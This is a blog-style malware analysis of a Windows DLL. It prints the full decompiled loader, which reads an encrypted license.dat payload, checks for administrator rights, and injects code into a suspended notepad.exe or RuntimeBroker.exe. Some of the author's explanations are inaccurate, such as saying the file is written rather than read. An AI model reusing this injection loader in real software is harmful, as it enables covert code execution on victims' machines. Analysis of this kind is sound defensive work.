Malware Analysis - Real Case 2
Hi everyone, after a long time playing CTF, I think it’s suitable to apply all knowledges I’ve learnt to the next real case I want to show you now. The first real case I analysed it in Cyber Monk, you can look at it again if you want. And now it’s how I analysed it. Let’s go! (you can check sample here)
In this sample, I was given a DLL file and the first thing I always did first is checking its profile:
It’s a Win64 DLL, and normally I can use speakeasy to analyse it because of fast, but if we just apply dynamic analysis to our sample, maybe there’re some functions hidden that tool cannot detect, so in this sample I will use IDA to analyse step by step:
Press F5 to decompile it and now we can analyse it:
In the main function, it checked the value of fdwReason variables, if it equals to 1, then it use DisableThreadLibraryCalls API and call function sub_180005A40().
By Microsoft document: The DisableThreadLibraryCalls function lets a DLL disable the DLL_THREAD_ATTACH and DLL_THREAD_DETACH notification calls. This can be a useful optimization for multithreaded applications that have many DLLs, frequently create and delete threads, and whose DLLs do not need these thread-level notifications of attachment/detachment.
In general, it will disable notifications to optimize performance. Next, we will analyse sub_180005A40():
BOOL sub_180005A40()
{
HMODULE ModuleHandleA; // rax
HMODULE v1; // rax
HMODULE v2; // rax
HMODULE v3; // rax
const char *v4; // rax
HANDLE CurrentProcess; // rax
LPCVOID lpBuffer; // [rsp+A0h] [rbp-608h]
int i; // [rsp+ACh] [rbp-5FCh]
FILE *Stream; // [rsp+B0h] [rbp-5F8h]
void *lpBaseAddress; // [rsp+B8h] [rbp-5F0h]
FARPROC v11; // [rsp+D0h] [rbp-5D8h]
FARPROC v12; // [rsp+D8h] [rbp-5D0h]
FARPROC ProcAddress; // [rsp+E0h] [rbp-5C8h]
char StartupInfo[112]; // [rsp+E8h] [rbp-5C0h] BYREF
struct _PROCESS_INFORMATION ProcessInformation; // [rsp+158h] [rbp-550h] BYREF
SIZE_T NumberOfBytesWritten; // [rsp+170h] [rbp-538h] BYREF
int v17; // [rsp+178h] [rbp-530h] BYREF
char v18; // [rsp+17Eh] [rbp-52Ah] BYREF
int v19; // [rsp+17Fh] [rbp-529h] BYREF
CHAR ModuleName[13]; // [rsp+183h] [rbp-525h] BYREF
__m256 v21; // [rsp+190h] [rbp-518h] BYREF
char v22[19]; // [rsp+1B0h] [rbp-4F8h] BYREF
char v23[13]; // [rsp+1C3h] [rbp-4E5h] BYREF
_DWORD v24[62]; // [rsp+1D0h] [rbp-4D8h] BYREF
void *v25; // [rsp+2C8h] [rbp-3E0h]
strcpy(v23, "VirtualAlloc");
strcpy(v22, "SetThreadContext");
strcpy((char *)&v21.m256_f32[4] + 3, "ResumeThread");
strcpy((char *)&v21, "GetThreadContext");
strcpy(ModuleName, "kernel32.dll");
ModuleHandleA = GetModuleHandleA(ModuleName);
ProcAddress = GetProcAddress(ModuleHandleA, (LPCSTR)&v21);
v1 = GetModuleHandleA(ModuleName);
v12 = GetProcAddress(v1, v22);
v2 = GetModuleHandleA(ModuleName);
GetProcAddress(v2, v23);
v3 = GetModuleHandleA(ModuleName);
v11 = GetProcAddress(v3, (LPCSTR)&v21.m256_f32[4] + 3);
v4 = (const char *)sub_1800058F0();
strcpy(Destination, v4);
strcat(Destination, "\\license.dat");
Stream = fopen(Destination, "rb");
for ( i = 0; fread((void *)(i + qword_18000B230), 1uLL, 1uLL, Stream); ++i )
;
fclose(Stream);
v17 = i + 1;
VirtualAlloc(0LL, i + 1, 0x1000u, 2u);
v19 = 856536534;
memset(&v18, 0, sizeof(v18));
lpBuffer = (LPCVOID)sub_1800055D0(qword_18000B230, 22, 12, (unsigned int)&v19, (__int64)&v18, (__int64)&v17, 2);
memset(StartupInfo, 0, sizeof(StartupInfo));
if ( (unsigned int)sub_180005F00() )
{
sub_180005FF0();
CreateProcessA(0LL, "notepad.exe", 0LL, 0LL, 0, 0x44u, 0LL, 0LL, (LPSTARTUPINFOA)StartupInfo, &ProcessInformation);
}
else
{
CreateProcessA(
0LL,
"RuntimeBroker.exe",
0LL,
0LL,
0,
0x44u,
0LL,
0LL,
(LPSTARTUPINFOA)StartupInfo,
&ProcessInformation);
}
v24[12] = 65539;
((void (__fastcall *)(HANDLE, _DWORD *))ProcAddress)(ProcessInformation.hThread, v24);
lpBaseAddress = VirtualAllocEx(ProcessInformation.hProcess, 0LL, v17, 0x1000u, 0x40u);
WriteProcessMemory(ProcessInformation.hProcess, lpBaseAddress, lpBuffer, v17, &NumberOfBytesWritten);
v25 = lpBaseAddress;
((void (__fastcall *)(HANDLE, _DWORD *))v12)(ProcessInformation.hThread, v24);
((void (__fastcall *)(HANDLE))v11)(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hProcess);
CurrentProcess = GetCurrentProcess();
return TerminateProcess(CurrentProcess, 0);
}
First, it imported some APIs:
strcpy(v23, "VirtualAlloc");
strcpy(v22, "SetThreadContext");
strcpy((char *)&v21.m256_f32[4] + 3, "ResumeThread");
strcpy((char *)&v21, "GetThreadContext");
Second, it found kernel32.dll in computer and extracted its process address:
strcpy(ModuleName, "kernel32.dll");
ModuleHandleA = GetModuleHandleA(ModuleName);
ProcAddress = GetProcAddress(ModuleHandleA, (LPCSTR)&v21);
v1 = GetModuleHandleA(ModuleName);
v12 = GetProcAddress(v1, v22);
v2 = GetModuleHandleA(ModuleName);
GetProcAddress(v2, v23);
v3 = GetModuleHandleA(ModuleName);
v11 = GetProcAddress(v3, (LPCSTR)&v21.m256_f32[4] + 3);
v4 = (const char *)sub_1800058F0();
strcpy(Destination, v4);
strcat(Destination, "\\license.dat");
Stream = fopen(Destination, "rb");
for ( i = 0; fread((void *)(i + qword_18000B230), 1uLL, 1uLL, Stream); ++i )
;
fclose(Stream);
v17 = i + 1;
VirtualAlloc(0LL, i + 1, 0x1000u, 2u);
From these lines of code, it executed function sub_1800058F0():
CHAR *sub_1800058F0()
{
CHAR Filename[272]; // [rsp+30h] [rbp-118h] BYREF
memset(Filename, 0, 0x105uLL);
GetModuleFileNameA(0LL, Filename, 0x104u);
*(_BYTE *)sub_180005980(Filename, 92LL) = 0;
return Filename;
}
Inside this function, it executed sub_180005980() contains 2 values: Filename and an integer = 92. Let’s analyse sub_180005980():
char *__fastcall sub_180005980(const char *a1, int a2)
{
return strrchr(a1, a2);
}
In this function it used strrchr, it will return a pointer to the last occurrence of character in the C string, in other words, it will find a string inside a1 that placed after a2. Return to previous function, it called *(_BYTE *)sub_180005980(Filename, 92LL) = 0, with value 92 it equals to \ character, that means it will extract filename after . And now we know how sub_1800058F0() works, let’s return our function!:
v4 = (const char *)sub_1800058F0();
strcpy(Destination, v4);
strcat(Destination, "\\license.dat");
Stream = fopen(Destination, "rb");
for ( i = 0; fread((void *)(i + qword_18000B230), 1uLL, 1uLL, Stream); ++i )
;
fclose(Stream);
v17 = i + 1;
VirtualAlloc(0LL, i + 1, 0x1000u, 2u);
Combine all things we analysed before, in this code sub_1800058F0() was imported to Destination, and then it used strcat to combine 2 variables: Destination and license.dat, that means it will write data to license.dat. Next, you can see it will write data from qword_18000B230 to .dat file. Because inside a program, there’re so many functions and that’s a difficulty - we don’t know where to analyse, so I just analysed some functions that looked suspicious.
if ( (unsigned int)sub_180005F00() )
{
sub_180005FF0();
CreateProcessA(0LL, "notepad.exe", 0LL, 0LL, 0, 0x44u, 0LL, 0LL, (LPSTARTUPINFOA)StartupInfo, &ProcessInformation);
}
else
{
CreateProcessA(
0LL,
"RuntimeBroker.exe",
0LL,
0LL,
0,
0x44u,
0LL,
0LL,
(LPSTARTUPINFOA)StartupInfo,
&ProcessInformation);
}
v24[12] = 65539;
((void (__fastcall *)(HANDLE, _DWORD *))ProcAddress)(ProcessInformation.hThread, v24);
lpBaseAddress = VirtualAllocEx(ProcessInformation.hProcess, 0LL, v17, 0x1000u, 0x40u);
WriteProcessMemory(ProcessInformation.hProcess, lpBaseAddress, lpBuffer, v17, &NumberOfBytesWritten);
v25 = lpBaseAddress;
((void (__fastcall *)(HANDLE, _DWORD *))v12)(ProcessInformation.hThread, v24);
((void (__fastcall *)(HANDLE))v11)(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hProcess);
CurrentProcess = GetCurrentProcess();
return TerminateProcess(CurrentProcess, 0);
They are the last lines of sub_180005A40(), and it’s the most suspicious I thought. You can see that they executed sub_180005F00():
_BOOL8 sub_180005F00()
{
PSID SidToCheck; // [rsp+68h] [rbp-20h] BYREF
BOOL IsMember; // [rsp+74h] [rbp-14h] BYREF
struct _SID_IDENTIFIER_AUTHORITY pIdentifierAuthority; // [rsp+78h] [rbp-10h] BYREF
*(_DWORD *)pIdentifierAuthority.Value = 0;
*(_WORD *)&pIdentifierAuthority.Value[4] = 1280;
IsMember = AllocateAndInitializeSid(&pIdentifierAuthority, 2u, 0x20u, 0x220u, 0, 0, 0, 0, 0, 0, &SidToCheck);
if ( IsMember )
{
if ( !CheckTokenMembership(0LL, SidToCheck, &IsMember) )
IsMember = 0;
FreeSid(SidToCheck);
}
return IsMember;
}
Very clear, it will check SID and the level of user. There’re two variables: SidToCheck and IsMember. In IsMember, it used AllocateAndInitializeSid API, and following Microsoft document:
The AllocateAndInitializeSid function allocates and initializes a security identifier (SID) with up to eight subauthorities:
BOOL AllocateAndInitializeSid(
[in] PSID_IDENTIFIER_AUTHORITY pIdentifierAuthority,
[in] BYTE nSubAuthorityCount,
[in] DWORD nSubAuthority0,
[in] DWORD nSubAuthority1,
[in] DWORD nSubAuthority2,
[in] DWORD nSubAuthority3,
[in] DWORD nSubAuthority4,
[in] DWORD nSubAuthority5,
[in] DWORD nSubAuthority6,
[in] DWORD nSubAuthority7,
[out] PSID *pSid
);
and the most important component inside this structure is PSID_IDENTIFIER_AUTHORITY, this is a pointer to a SID_IDENTIFIER_AUTHORITY structure, provides the top-level identifier authority value to set in the SID:
When it had IsMember value, it would check with SID by using CheckTokenMembership API. This API checks if the current process token includes the specified SID and then it updates IsMember to TRUE if the process is a member of the group, or FALSE otherwise. After had user information, it created a notepad.exe process and then it will overwrite notepad.exe by using WriteProcessMemory API, otherwise it created RuntimeError.exe and did the same. And attacker can use this technique to insert some malicious codes and execute it in target machine!
In conclusion, this sample used Process Injection, which is a technique lets attackers overwrite a running process so that when the process is run, malicious code will be executed!
Thank you very much for reading my article. If you love it please share it to your friends and if you have any question, you can ask me directly. OK see you in the next post, bye!